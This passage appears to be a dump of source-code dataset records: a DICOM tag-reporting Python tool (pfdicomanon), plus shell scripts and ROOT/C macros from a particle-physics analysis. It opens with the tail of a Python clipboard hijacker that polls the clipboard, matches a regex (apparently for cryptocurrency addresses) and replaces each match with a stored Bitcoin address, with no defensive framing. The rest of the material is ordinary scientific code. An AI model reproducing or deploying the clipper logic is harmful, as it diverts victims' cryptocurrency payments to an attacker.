subprocess.check_call('echo %s |clip' % text.strip() , shell=True)\n \n def check(self, text):\n try:\n regex_check = re.findall(self.regex, text)\n if regex_check:\n return True\n\n except Exception as e:\n return False\n\ndef start():\n m = Methods()\n while True:\n with Clipboard() as clipboard:\n sleep(0.1)\n target_clipboard = clipboard\n if m.check(target_clipboard):\n m.set_clipboard(BtcAddy) \n sleep(1)\n\nif __name__ == \"__main__\":\n start()\n" } ]
2
FNNDSC/pfdicomanon
https://github.com/FNNDSC/pfdicomanon
f886746d3c7b625c8c7b01a42abf686d9b895c68
9b51a4aa2fbb4e7ec6ec0124ebda9a8df4c97f7c
2313e4492376d8d722c039b6501af961346b20f7
refs/heads/master
2020-03-21T06:25:59.311756
2018-06-21T21:19:02
2018-06-21T21:19:02
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4525527358055115, "alphanum_fraction": 0.4548044800758362, "avg_line_length": 36.91289138793945, "blob_id": "83cd94794a70eaa5c3e0f7b01f5e22526a5cdcf0", "content_id": "23c4e1f1eda00afef9e18ba29e4ee46c20bdf23f", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 21761, "license_type": "permissive", "max_line_length": 101, "num_lines": 574, "path": "/pfdicomanon/pfdicomanon.py", "repo_name": "FNNDSC/pfdicomanon", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n#\n# NAME\n#\n# dicomTag.py\n#\n# DESCRIPTION\n#\n# 'dicomTag' reads an input DICOM file\n# and returns information about the tag\n# (i.e. meta) data.\n#\n# HISTORY\n#\n# 25 November 2015\n# o Initial design and coding.\n#\n\n# System imports\nimport os\nimport sys\nimport getpass\nimport argparse\nimport time\nimport glob\nimport numpy as np\nfrom random import randint\nimport re\nimport json\nimport pprint\nimport csv\n\n# System dependency imports\nimport nibabel as nib\nimport pydicom as dicom\nimport pylab\nimport matplotlib.cm as cm\n\n# Project specific imports\nimport pfmisc\nimport error \n\nimport pudb\nimport hashlib\n\nclass pfdicomanon(object):\n \"\"\"\n dicomTag accepts a DICOM file as input, as well as list of tags and\n then returns in either HTML or JSON format the relevant header\n information.\n \"\"\"\n\n _dictErr = {\n 'imageFileSpecFail' : {\n 'action' : 'trying to parse image file specified, ',\n 'error' : 'wrong format found. Must be [<index>:]<filename>',\n 'exitCode' : 1},\n 'inputDICOMFileFail' : {\n 'action' : 'trying to read input DICOM file, ',\n 'error' : 'could not access/read file -- does it exist? Do you have permission?',\n 'exitCode' : 10},\n 'inputTAGLISTFileFail': {\n 'action' : 'trying to read input <tagFileList>, ',\n 'error' : 'could not access/read file -- does it exist? Do you have permission?',\n 'exitCode' : 20\n }\n }\n\n def mkdir(self, newdir):\n \"\"\"\n works the way a good mkdir should :)\n - already exists, silently complete\n - regular file in the way, raise an exception\n - parent directory(ies) does not exist, make them as well\n \"\"\"\n if os.path.isdir(newdir):\n pass\n elif os.path.isfile(newdir):\n raise OSError(\"a file with the same name as the desired \" \\\n \"dir, '%s', already exists.\" % newdir)\n else:\n head, tail = os.path.split(newdir)\n if head and not os.path.isdir(head):\n self.mkdir(head)\n if tail:\n os.mkdir(newdir)\n\n def tic(self):\n \"\"\"\n Port of the MatLAB function of same name\n \"\"\"\n self.tic_start = time.time()\n\n def toc(self, *args, **kwargs):\n \"\"\"\n Port of the MatLAB function of same name\n\n Behaviour is controllable to some extent by the keyword\n args:\n \"\"\"\n global Gtic_start\n f_elapsedTime = time.time() - self.tic_start\n for key, value in kwargs.items():\n if key == 'sysprint': return value % f_elapsedTime\n if key == 'default': return \"Elapsed time = %f seconds.\" % f_elapsedTime\n return f_elapsedTime\n\n def name(self, *args):\n '''\n get/set the descriptive name text of this object.\n '''\n if len(args):\n self.__name__ = args[0]\n else:\n return self.__name__\n\n def description(self, *args):\n '''\n Get / set internal object description.\n '''\n if len(args):\n self.str_desc = args[0]\n else:\n return self.str_desc\n\n @staticmethod\n def urlify(astr, astr_join = '_'):\n # Remove all non-word characters (everything except numbers and letters)\n astr = re.sub(r\"[^\\w\\s]\", '', astr)\n\n # Replace all runs of whitespace with an underscore\n astr = re.sub(r\"\\s+\", astr_join, astr)\n\n return astr\n\n def declare_selfvars(self):\n \"\"\"\n A block to declare self variables\n \"\"\"\n #\n # Object desc block\n #\n self.str_desc = ''\n self.__name__ = \"libtag\"\n\n # Directory and filenames\n self.str_workingDir = ''\n self.str_inputDir = ''\n self.str_inputFile = ''\n self.str_extension = ''\n self.str_fileIndex = ''\n self.l_inputDirTree = []\n self.str_outputFileStem = ''\n self.str_outputFileType = ''\n self.l_outputFileType = []\n self.str_outputDir = ''\n self.d_outputTree = {}\n\n self.str_stdout = ''\n self.str_stderr = ''\n self.exitCode = 0\n\n # The actual data volume and slice\n # are numpy ndarrays\n self.dcm = None\n self.str_outputFormat = ''\n self.l_tagRaw = [] # tag list\n self.d_dcm = {} # dict convert of raw dcm\n # Following are filtered by tagList\n self.d_dicom = {} # values directly from dcm ojbect\n self.d_dicomSimple = {} # formatted dict convert\n\n # String representations of different outputFormats\n self.strRaw = ''\n self.str_json = ''\n self.str_dict = ''\n self.str_col = ''\n self.str_raw = ''\n\n # Image conversion\n self.b_convertToImg = False\n self.str_outputImageFile = ''\n self.str_imageIndex = ''\n\n # Tags\n self.b_tagList = False\n self.b_tagFile = False\n self.str_tagList = ''\n self.str_tagFile = ''\n self.l_tag = []\n\n # Flags\n self.b_printToScreen = False\n\n self.dp = None\n self.log = None\n self.tic_start = 0.0\n self.pp = pprint.PrettyPrinter(indent=4)\n self.verbosityLevel = -1\n\n def __init__(self, **kwargs):\n\n def imageFileName_process(str_imageFile):\n b_OK = False\n l_indexAndFile = str_imageFile.split(':')\n if len(l_indexAndFile) == 1:\n b_OK = True\n self.str_outputImageFile = l_indexAndFile[0]\n if len(l_indexAndFile) == 2:\n b_OK = True\n self.str_outputImageFile = l_indexAndFile[1]\n self.str_imageIndex = l_indexAndFile[0]\n if not b_OK:\n self.dp.qprint(\"Invalid image specifier.\", comms = 'error')\n error.fatal(self, 'imageFileSpecFail')\n if len(self.str_outputImageFile):\n self.b_convertToImg = True\n\n def tagList_process(str_tagList):\n self.str_tagList = str_tagList\n if len(self.str_tagList):\n self.b_tagList = True\n self.l_tag = self.str_tagList.split(',')\n\n def tagFile_process(str_tagFile):\n self.str_tagFile = str_tagFile\n if len(self.str_tagFile):\n self.b_tagFile = True\n with open(self.str_tagFile) as f:\n self.l_tag = [x.strip('\\n') for x in f.readlines()]\n\n def outputFile_process(str_outputFile):\n self.str_outputFileType = str_outputFile\n self.l_outputFileType = self.str_outputFileType.split(',')\n\n # pudb.set_trace()\n self.declare_selfvars()\n\n for key, value in kwargs.items():\n if key == \"inputDir\": self.str_inputDir = value\n if key == \"inputFile\": self.str_inputFile = value\n if key == \"extension\": self.str_extension = value\n if key == \"outputDir\": self.str_outputDir = value\n if key == \"outputFileStem\": self.str_outputFileStem = value\n if key == \"outputFileType\": outputFile_process(value) \n if key == 'printToScreen': self.b_printToScreen = value\n if key == 'imageFile': imageFileName_process(value)\n if key == 'tagFile': tagFile_process(value)\n if key == 'tagList': tagList_process(value)\n if key == 'verbosity': self.verbosityLevel = int(value)\n\n # Set logging\n self.dp = pfmisc.debug( \n verbosity = self.verbosityLevel,\n level = 0,\n within = self.__name__\n )\n self.log = pfmisc.Message()\n self.log.syslog(True)\n\n if not len(self.str_inputDir): self.str_inputDir = '.'\n\n def simpleProgress_show(self, index, total):\n f_percent = index/total*100\n str_num = \"[%3d/%3d: %5.2f%%] \" % (index, total, f_percent)\n str_bar = \"*\" * int(f_percent)\n self.dp.qprint(\"%s%s\" % (str_num, str_bar))\n\n def dirTree_create(self, **kwargs):\n \"\"\"\n Return dir, files down a tree anchored in **kwargs\n \"\"\"\n\n str_topDir = \".\"\n l_dirs = []\n l_files = []\n b_status = False\n str_path = ''\n l_dirsHere = []\n l_filesHere = []\n\n for k, v in kwargs.items():\n if k == 'root': str_topDir = v\n\n for root, dirs, files in os.walk(str_topDir):\n b_status = True\n str_path = root.split(os.sep)\n if dirs:\n l_dirsHere = [root + '/' + x for x in dirs]\n l_dirs.append(l_dirsHere)\n self.dp.qprint('Appending dirs to search space:\\n')\n self.dp.qprint(\"\\n\" + self.pp.pformat(l_dirsHere))\n if files:\n l_filesHere = [root + '/' + y for y in files]\n if len(self.str_inputFile):\n l_hit = [s for s in l_filesHere if self.str_inputFile in s]\n if l_hit: \n l_filesHere = l_hit\n else:\n l_filesHere = []\n if l_filesHere:\n l_files.append(l_filesHere)\n self.dp.qprint('Appending files to search space:\\n')\n self.dp.qprint(\"\\n\" + self.pp.pformat(l_filesHere))\n return {\n 'status': True,\n 'l_dir': l_dirs,\n 'l_files': l_files\n }\n\n def dirTree_prune(self, **kwargs):\n \"\"\"\n Returns a dictionary of files to process. Dictionary key is\n the directory basename (relative to <inputDir>), value is\n the filename to process.\n \"\"\"\n \n d_prune = {}\n l_files = []\n b_imageIndexed = False\n\n for k, v in kwargs.items():\n if k == 'filelist': l_files = v\n\n index = 1\n total = len(l_files)\n for series in l_files:\n if len(self.str_extension):\n series = [x for x in series if self.str_extension in x]\n if self.b_convertToImg:\n if self.str_imageIndex == 'm':\n if len(series):\n seriesFile = series[int(len(series)/2)]\n b_imageIndexed = True\n if self.str_imageIndex == 'f':\n seriesFile = series[:-1]\n b_imageIndexed = True\n if self.str_imageIndex == 'l':\n seriesFile = series[0]\n b_imageIndexed = True\n if not b_imageIndexed:\n seriesFile = series[int(self.str_imageIndex)]\n else:\n seriesFile = series[0]\n str_path = os.path.dirname(seriesFile)\n str_file = os.path.basename(seriesFile)\n self.simpleProgress_show(index, total)\n self.dp.qprint(\"Pruning path: %s\" % str_path)\n self.dp.qprint(\"Pruning file: %s\" % str_file)\n d_prune[str_path] = str_file \n index += 1\n \n return {\n 'status': True,\n 'd_prune': d_prune\n }\n\n\n def tagsFindOnFile(self, **kwargs):\n \"\"\"\n Return the tag information for given file.\n \"\"\"\n\n str_file = ''\n str_result = ''\n b_formatted = False\n str_outputFile = ''\n\n self.dcm = None\n self.d_dcm = {}\n self.d_dicom = {}\n self.d_dicomSimple = {}\n\n b_rawStringAssigned = False\n\n for k, v in kwargs.items():\n if k == 'file': str_file = v\n\n str_localFile = os.path.basename(str_file)\n self.str_json = ''\n self.str_dict = ''\n self.str_col = ''\n self.str_raw = '' \n if len(str_file):\n self.dp.qprint(\"Analysing in path: %s\" % os.path.dirname(str_file))\n self.dp.qprint(\"Analysing tags for: %s\" % str_localFile) \n self.dcm = dicom.read_file(str_file)\n self.d_dcm = dict(self.dcm)\n self.strRaw = str(self.dcm)\n self.l_tagRaw = self.dcm.dir()\n d_dicomJSON = {}\n\n if self.b_tagFile or self.b_tagList:\n l_tagsToUse = self.l_tag\n else:\n l_tagsToUse = self.l_tagRaw\n\n if 'PixelData' in l_tagsToUse:\n l_tagsToUse.remove('PixelData')\n for key in l_tagsToUse:\n self.d_dicom[key] = self.dcm.data_element(key)\n try:\n self.d_dicomSimple[key] = getattr(self.dcm, key)\n except:\n self.d_dicomSimple[key] = \"no attribute\"\n d_dicomJSON[key] = str(self.d_dicomSimple[key])\n\n for str_outputFormat in self.l_outputFileType:\n # pudb.set_trace()\n if str_outputFormat == 'json':\n self.str_json = json.dumps(\n d_dicomJSON, \n indent = 4, \n sort_keys = True\n )\n b_formatted = True\n if str_outputFormat == 'dict':\n self.str_dict = self.pp.pformat(self.d_dicomSimple)\n b_formatted = True\n if str_outputFormat == 'col':\n for tag in l_tagsToUse:\n self.str_col += '%70s\\t%s\\n' % (tag , self.d_dicomSimple[tag])\n b_formatted = True\n if str_outputFormat == 'raw' or str_outputFormat == 'html':\n for tag in l_tagsToUse:\n if not b_rawStringAssigned:\n self.str_raw += '%s\\n' % (self.d_dicom[tag])\n if not b_rawStringAssigned:\n b_rawStringAssigned = True\n\n str_outputFile = self.str_outputFileStem\n if '%' in self.str_outputFileStem:\n b_tagsFound = False\n l_tags = self.str_outputFileStem.split('%')[1:]\n l_tagsToSub = [i for i in self.l_tagRaw if any(i in b for b in l_tags)]\n for tag, func in zip(l_tagsToSub, l_tags):\n b_tagsFound = True\n str_replace = self.d_dicomSimple[tag]\n if 'md5' in func:\n str_replace = hashlib.md5(str_replace.encode('utf-8')).hexdigest()\n str_outputFile = str_outputFile.replace('md5', '')\n str_outputFile = str_outputFile.replace('%' + tag, str_replace)\n\n return {\n 'formatted': b_formatted,\n 'd_dicom': self.d_dicom,\n 'd_dicomSimple': self.d_dicomSimple,\n 'd_dicomJSON': d_dicomJSON,\n 'dcm': self.dcm,\n 'str_outputFile': str_outputFile,\n 'str_inputFile': str_localFile,\n 'dstr_result': {\n 'json': self.str_json,\n 'dict': self.str_dict,\n 'col': self.str_col,\n 'raw': self.str_raw\n }\n }\n\n def img_create(self, dcm):\n '''\n Create the output jpg of the file.\n :return:\n '''\n try:\n pylab.imshow(dcm.pixel_array, cmap=pylab.cm.bone)\n pylab.savefig(self.str_outputImageFile)\n except:\n pass\n\n def outputs_generate(self, **kwargs):\n \"\"\"\n Generate output reports\n \"\"\"\n\n def html_make(str_inputFile, str_rawContent):\n str_img = \"\"\n if self.b_convertToImg:\n str_img = \"<img src=%s>\" % self.str_outputImageFile\n htmlPage = '''\n <!DOCTYPE html>\n <html>\n <head>\n <title>DCM tags: %s</title>\n </head>\n <body>\n %s\n <pre>\n %s\n </pre>\n </body>\n </html> ''' % (str_inputFile, str_img, \"\\n\" + str_rawContent)\n return htmlPage\n\n self.mkdir(self.str_outputDir)\n l_path = self.d_outputTree.keys()\n total = len(l_path)\n index = 0\n for path in l_path:\n index += 1\n self.simpleProgress_show(index, total)\n self.dp.qprint(\"Generating report for record: %s\" % path)\n d_outputInfo = self.d_outputTree[path]\n os.chdir(self.str_outputDir)\n self.mkdir(path)\n os.chdir(path)\n if self.b_printToScreen:\n print(d_outputInfo['dstr_result']['raw'])\n if self.b_convertToImg:\n self.img_create(d_outputInfo['dcm'])\n for str_outputFormat in self.l_outputFileType:\n if str_outputFormat == 'json': \n str_fileName = d_outputInfo['str_outputFile']+'.json' \n with open(str_fileName, 'w') as f:\n f.write(d_outputInfo['dstr_result']['json'])\n self.dp.qprint('Saved report file: %s' % str_fileName)\n if str_outputFormat == 'dict': \n str_fileName = d_outputInfo['str_outputFile']+'-dict.txt' \n with open(str_fileName, 'w') as f:\n f.write(d_outputInfo['dstr_result']['dict'])\n self.dp.qprint('Saved report file: %s' % str_fileName)\n if str_outputFormat == 'col': \n str_fileName = d_outputInfo['str_outputFile']+'-col.txt' \n with open(str_fileName, 'w') as f:\n f.write(d_outputInfo['dstr_result']['col'])\n self.dp.qprint('Saved report file: %s' % str_fileName)\n if str_outputFormat == 'raw': \n str_fileName = d_outputInfo['str_outputFile']+'-raw.txt' \n with open(str_fileName, 'w') as f:\n f.write(d_outputInfo['dstr_result']['raw'])\n self.dp.qprint('Saved report file: %s' % str_fileName)\n if str_outputFormat == 'html': \n str_fileName = d_outputInfo['str_outputFile']+'.html' \n with open(str_fileName, 'w') as f:\n f.write(\n html_make( d_outputInfo['str_inputFile'],\n d_outputInfo['dstr_result']['raw'])\n )\n self.dp.qprint('Saved report file: %s' % str_fileName)\n if str_outputFormat == 'csv':\n str_fileName = d_outputInfo['str_outputFile']+'-csv.txt' \n with open(str_fileName, 'w') as f:\n w = csv.DictWriter(f, d_outputInfo['d_dicomJSON'].keys())\n w.writeheader()\n w.writerow(d_outputInfo['d_dicomJSON'])\n self.dp.qprint('Saved report file: %s' % str_fileName)\n \n def run(self):\n '''\n The main 'engine' of the class.\n\n Here we walk down the <inputDir> and in each directory,\n we parse a DICOM input for the tag info. Tags are kept \n in a dictionary structure that mimics the <inputDir>\n hierarchy.\n \n '''\n\n os.chdir(self.str_inputDir)\n str_cwd = os.getcwd()\n d_tree = self.dirTree_create(root = \".\")\n d_filtered = self.dirTree_prune(filelist = d_tree['l_files'])\n\n i_items = d_filtered['d_prune'].items()\n total = len(i_items)\n index = 0\n for k, v in d_filtered['d_prune'].items():\n index += 1\n self.simpleProgress_show(index, total)\n self.d_outputTree[k] = self.tagsFindOnFile(file = os.path.join(k, v))\n\n # pudb.set_trace()\n self.outputs_generate()\n os.chdir(str_cwd)" } ]
1
nfilipov/HIN-15-001
https://github.com/nfilipov/HIN-15-001
e07aa143d2d8307fb37503f50ba82b5ab0a3b54c
70556dcfa2427e90b6f3b6e46b4a50bfbf15b887
45c7afb153582cdac2fc2c9b6905ebec75c71f40
refs/heads/master
2020-12-12T07:29:49.881555
2017-02-02T19:28:24
2017-02-02T19:28:24
34,794,887
0
2
null
null
null
null
null
[ { "alpha_fraction": 0.5607940554618835, "alphanum_fraction": 0.6476426720619202, "avg_line_length": 31.675676345825195, "blob_id": "93937698e73c5320a02a467e5a4216de42844b2c", "content_id": "6cb5ea66f9b205ed8dfeea206c4fbb39d9d035e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1209, "license_type": "no_license", "max_line_length": 107, "num_lines": 37, "path": "/upperlimit/upperlimit/run_2S_ws.sh", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# dir\ndir=ws_2S_04mar2015/\n\n# pt fits\ndir2=$dir/ptFits\nfor cat in dimuPt000500 dimuPt12002000 dimuPt5001200; do \n ppfile=`ls $dir2/WS*pp*$cat*root`\n pbpbfile=`ls $dir2/WS*pbpb*$cat*root`\n nice root -l -b -q Raa2S_Workspace.C\\(\\\"${pbpbfile}\\\"\\,\\\"${ppfile}\\\"\\,\\\"$dir2/WS_combo2S_${cat}.root\\\"\\)\n mv c1.pdf $dir2/c1_${cat}.pdf\n mv c2.pdf $dir2/c2_${cat}.pdf\n mv cpoi.pdf $dir2/cpoi_${cat}.pdf\ndone\n\n# rapidity fits\ndir2=$dir/rapidityFits\nfor cat in dimuY000120 dimuY120240; do \n ppfile=`ls $dir2/WS*pp*$cat*root`\n pbpbfile=`ls $dir2/WS*pbpb*$cat*root`\n nice root -l -b -q Raa2S_Workspace.C\\(\\\"${pbpbfile}\\\"\\,\\\"${ppfile}\\\"\\,\\\"$dir2/WS_combo2S_${cat}.root\\\"\\)\n mv c1.pdf $dir2/c1_${cat}.pdf\n mv c2.pdf $dir2/c2_${cat}.pdf\n mv cpoi.pdf $dir2/cpoi_${cat}.pdf\ndone\n\n# rapidity fits\ndir2=$dir/centralityFits\nfor cat in cent0M5 cent5M10 cent10M20 cent20M30 cent30M40 cent40M50 cent50M100; do \n ppfile=`ls $dir2/WS*pp*root`\n pbpbfile=`ls $dir2/WS*pbpb*$cat*root`\n nice root -l -b -q Raa2S_Workspace.C\\(\\\"${pbpbfile}\\\"\\,\\\"${ppfile}\\\"\\,\\\"$dir2/WS_combo2S_${cat}.root\\\"\\)\n mv c1.pdf $dir2/c1_${cat}.pdf\n mv c2.pdf $dir2/c2_${cat}.pdf\n mv cpoi.pdf $dir2/cpoi_${cat}.pdf\ndone\n" }, { "alpha_fraction": 0.643195390701294, "alphanum_fraction": 0.6563722491264343, "avg_line_length": 37.85599899291992, "blob_id": "e9a44b349355b1333d0fdd5e97cf0fd7071fe663", "content_id": "e0d2dba1d8aad5171bbd8e8dc0437059dda178bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4857, "license_type": "no_license", "max_line_length": 118, "num_lines": 125, "path": "/upperlimit/upperlimit/runLimitFC_Raa3S_Workspace.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#include <algorithm>\n\n#include \"TFile.h\"\n#include \"TROOT.h\"\n#include \"TH1F.h\"\n#include \"TSystem.h\"\n\n#include \"RooWorkspace.h\"\n#include \"RooAbsData.h\"\n\n#include \"RooStats/ModelConfig.h\"\n#include \"RooStats/FeldmanCousins.h\"\n#include \"RooStats/ToyMCSampler.h\"\n#include \"RooStats/PointSetInterval.h\"\n#include \"RooStats/ConfidenceBelt.h\"\n\nusing namespace RooFit;\nusing namespace RooStats;\n\nvoid runLimitFC_Raa3S_Workspace(const char *poiname=\"raa3\", const char *pdfname=\"joint\", const char *wsname=\"wcombo\");\n\n\ndouble CI = 0.95;\n\nvoid runLimitFC_Raa3S_Workspace(const char *poiname, const char *pdfname, const char *wsname)\n{\n RooRealVar *theVar; RooDataSet *data; RooAbsPdf *pdf;\n // Open input file with workspace (generated by rf14_wspacewrite)\n TFile *f = new TFile(\"TRIAL.root\") ;\n\n // Retrieve workspace from file\n RooWorkspace* ws = (RooWorkspace*) f->Get(wsname);\n RooStats::ModelConfig *sbHypo = (RooStats::ModelConfig*) ws->obj(\"SbHypo\");\n RooStats::ModelConfig *bHypo = (RooStats::ModelConfig*) ws->obj(\"BHypo\");\n cout << \"observables: \" << sbHypo.GetObservables()->getSize() << endl;\n theVar = ws->var(poiname);\n // if (!theVar) theVar = ws->function(poiname);\n pdf = ws->pdf(pdfname);\n data =(RooDataSet *) ws->data(\"data\");\n\n // Print structure of composite p.d.f.\n pdf->Print(\"t\") ;\n\n\n // get a first estimate of where to look\n\n ProfileLikelihoodCalculator pl(*data,*pdf,*theVar);\n cout << data << \" \" << pdf << \" \" << theVar << endl;\n pl.SetConfidenceLevel(CI); \n int ci = 100*CI;\n LikelihoodInterval* interval = pl.GetInterval();\n LikelihoodIntervalPlot plot(interval);\n TCanvas c4; c4.cd(); \n plot.SetRange(0.,0.,0.05,3.);\n // plot.Draw();\n TLatex latexCI;\n latexCI.SetNDC();\n latexCI.SetTextSize(0.035);\n latexCI.DrawLatex(0.5,1.-0.05*2,Form(\"%s %d % C.I.\",poiname,ci));\n latexCI.DrawLatex(0.5,1.-0.05*3,Form(\"Upper limit: %f\",interval->UpperLimit(*theVar)));\n latexCI.DrawLatex(0.5,1.-0.05*4,Form(\"Lower limit: %f\",interval->LowerLimit(*theVar)));\n TString intrvlName = theVar->GetTitle();\n // print out the iterval on the Parameter of Interest\n cout <<endl<< CI <<\"\\% interval on \" <<theVar->GetName()<<\" is : [\"<<\n interval->LowerLimit(*theVar) << \", \"<<\n interval->UpperLimit(*theVar) << \"] \"<<endl;\n pair<double, double> CnfdncIntrvl;\n CnfdncIntrvl.first = interval->LowerLimit(*theVar);\n CnfdncIntrvl.second = interval->UpperLimit(*theVar);\n c4.SaveAs(\"ULtest.pdf\");\n\n // now let's move to the hypo test inverter\n /////////////////////////////////////////////////////////////\n // Now get the POI for convenience\n // you may want to adjust the range of your POI\n ////////////////////////////////////////////////////////////\n RooRealVar* firstPOI = (RooRealVar*) sbHypo->GetParametersOfInterest()->first();\n double poimin = 0.5*max((double) 0.,CnfdncIntrvl.first);\n double poimax = 1.5*CnfdncIntrvl.second;\n cout << \"Will scan between \" << poimin << \" and \" << poimax << endl;\n firstPOI->setMin(poimin);\n firstPOI->setMax(poimax);\n\n /////////////////////////////////////////////\n // create and use the FeldmanCousins tool\n // to find and plot the 95% confidence interval\n // on the parameter of interest as specified\n // in the model config\n FeldmanCousins fc(*data,*sbHypo);\n fc.SetConfidenceLevel(CI); // 95% interval\n fc.AdditionalNToysFactor(0.5); // to speed up the result \n fc.UseAdaptiveSampling(true); // speed it up a bit\n fc.SetNBins(10); // set how many points per parameter of interest to scan\n fc.CreateConfBelt(true); // save the information in the belt for plotting\n\n // Since this tool needs to throw toy MC the PDF needs to be\n // extended or the tool needs to know how many entries in a dataset\n // per pseudo experiment. \n // In the 'number counting form' where the entries in the dataset\n // are counts, and not values of discriminating variables, the\n // datasets typically only have one entry and the PDF is not\n // extended. \n if(!sbHypo->GetPdf()->canBeExtended()){\n if(data->numEntries()==1) \n fc.FluctuateNumDataEntries(false);\n else\n cout <<\"Not sure what to do about this model\" <<endl;\n }\n\n // We can use PROOF to speed things along in parallel\n ProofConfig pc(*ws, 1, \"workers=2\", kFALSE);\n ToyMCSampler* toymcsampler = (ToyMCSampler*) fc.GetTestStatSampler();\n toymcsampler->SetProofConfig(&pc);\t// enable proof\n\n\n // Now get the interval\n PointSetInterval* intervalfc = fc.GetInterval();\n ConfidenceBelt* belt = fc.GetConfidenceBelt();\n \n // print out the iterval on the first Parameter of Interest\n RooRealVar* firstPOI = (RooRealVar*) sbHypo->GetParametersOfInterest()->first();\n cout << \"\\n95% interval on \" <<firstPOI->GetName()<<\" is : [\"<<\n interval->LowerLimit(*firstPOI) << \", \"<<\n interval->UpperLimit(*firstPOI) <<\"] \"<<endl;\n}\n" }, { "alpha_fraction": 0.6530494689941406, "alphanum_fraction": 0.6846950650215149, "avg_line_length": 30.035715103149414, "blob_id": "4895872c213824ff49e7dff9a66dff59476438b4", "content_id": "72c3ca464ee5b56c8c4f2cd325c9df965a2138eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1738, "license_type": "no_license", "max_line_length": 84, "num_lines": 56, "path": "/acceptance_efficiency/calc_effs.sh", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# dir=\"effs_1S_pbpb_0\"\n# mkdir $dir\n# root -l -b -q calc_effs.C'(\"trees/Upsi_Histos_Pyquen1SPbPbMC_Pt*\",1,true,0)'\n# mv hnum* results.txt eff_output.root $dir\n\n# dir=\"effs_1S_pbpb_1\"\n# mkdir $dir\n# root -l -b -q calc_effs.C'(\"trees/Upsi_Histos_Pyquen1SPbPbMC_Pt*\",1,true,1)'\n# mv hnum* results.txt eff_output.root $dir\n\ndir=\"effs_1S_pbpb_2\"\nmkdir $dir\nroot -l -b -q calc_effs.C'(\"trees/Upsi_Histos_Pyquen1SPbPbMC_Pt*\",1,true,2)'\nmv hnum* results.txt eff_output.root $dir\n\n# dir=\"effs_1S_pbpb_3\"\n# mkdir $dir\n# root -l -b -q calc_effs.C'(\"trees/Upsi_Histos_Pyquen1SPbPbMC_Pt*\",1,true,3)'\n# mv hnum* results.txt eff_output.root $dir\n\n# dir=\"effs_2S_pbpb_0\"\n# mkdir $dir\n# root -l -b -q calc_effs.C'(\"trees/Upsi_Histos_Pyquen2SPbPbMC_Pt*\",2,true,0)'\n# mv hnum* results.txt eff_output.root $dir\n\n# dir=\"effs_2S_pbpb_1\"\n# mkdir $dir\n# root -l -b -q calc_effs.C'(\"trees/Upsi_Histos_Pyquen2SPbPbMC_Pt*\",2,true,1)'\n# mv hnum* results.txt eff_output.root $dir\n\ndir=\"effs_2S_pbpb_2\"\nmkdir $dir\nroot -l -b -q calc_effs.C'(\"trees/Upsi_Histos_Pyquen2SPbPbMC_Pt*\",2,true,2)'\nmv hnum* results.txt eff_output.root $dir\n\n# dir=\"effs_2S_pbpb_3\"\n# mkdir $dir\n# root -l -b -q calc_effs.C'(\"trees/Upsi_Histos_Pyquen2SPbPbMC_Pt*\",2,true,3)'\n# mv hnum* results.txt eff_output.root $dir\n\ndir=\"effs_1S_pp_2\"\nmkdir $dir\nroot -l -b -q calc_effs.C'(\"trees/Upsi_Histos_ppNoCutMC1S_fixedFSR.root\",1,false,2)'\nmv hnum* results.txt eff_output.root $dir\n\ndir=\"effs_2S_pp_2\"\nmkdir $dir\nroot -l -b -q calc_effs.C'(\"trees/Upsi_Histos_ppNoCutMC2S_ok.root\",2,false,2)'\nmv hnum* results.txt eff_output.root $dir\n\ndir=\"effs_3S_pp_2\"\nmkdir $dir\nroot -l -b -q calc_effs.C'(\"trees/Upsi_Histos_ppNoCutMC3S_ok.root\",3,false,2)'\nmv hnum* results.txt eff_output.root $dir\n" }, { "alpha_fraction": 0.6076107025146484, "alphanum_fraction": 0.6506550312042236, "avg_line_length": 50.6129035949707, "blob_id": "0199773d08e87aa86e88f70aa48227f2466a0371", "content_id": "25661c8679edcb82e4e4b38b23400cb88ad9a19f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1603, "license_type": "no_license", "max_line_length": 321, "num_lines": 31, "path": "/skimming/reduceTree.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#include \"TFile.h\"\n#include \"TTree.h\"\n#include \"TEventList.h\"\n\nvoid makeList() {\n TFile *f1 = new TFile(\"../dimuonTree_upsiMiniTree_AA2p76tev_noIDCuts_RunHIN-15-001_trigBit1_allTriggers0.root\");\n TTree *myTree = (TTree*) f1->Get(\"UpsilonTree\");\n TCut cut(\"(_mupl_dxy <3 && _mupl_dz <15 && _mupl_nTrkHits>10 && _mupl_nTrkWMea >0 && _mupl_normChi2_inner < 4 && _mupl_normChi2_global < 4 && _mupl_TrkMuArb==1) && (_mumi_dxy <3 && _mumi_dz <15 && _mumi_nTrkHits>10 && _mumi_nTrkWMea >0 && _mumi_normChi2_inner < 4 && _mumi_normChi2_global < 4 && _mumi_TrkMuArb==1)\"); \n myTree->Draw(\">>elist\",cut);\n // track.numberOfValidHits > 10 && track.normalizedChi2 < 4 && track.hitPattern.pixelLayersWithMeasurement > 0 \n // && abs(track.dxy) < 3 && abs(track.dz) < 15\n // && isGlobalMuon && isTrackerMuon\n // globalTrack.normalizedChi2 < 20 && muonID('TrackerMuonArbitrated')\"\n TEventList *elist = (TEventList*)gDirectory->Get(\"elist\");\n TFile ef(\"../elist.root\",\"recreate\"); \n elist->Write();\n ef.Close();\n}\n\nvoid makeSmall() {\n TFile *f = new TFile(\"../elist.root\");\n TEventList *elist = (TEventList*)f->Get(\"elist\");\n TFile *f1 = new TFile(\"../dimuonTree_upsiMiniTree_AA2p76tev_noIDCuts_RunHIN-15-001_trigBit1_allTriggers0.root\");\n TTree *myTree = (TTree*) f1->Get(\"UpsilonTree\");\n myTree->SetEventList(elist);\n TFile *f2 = new 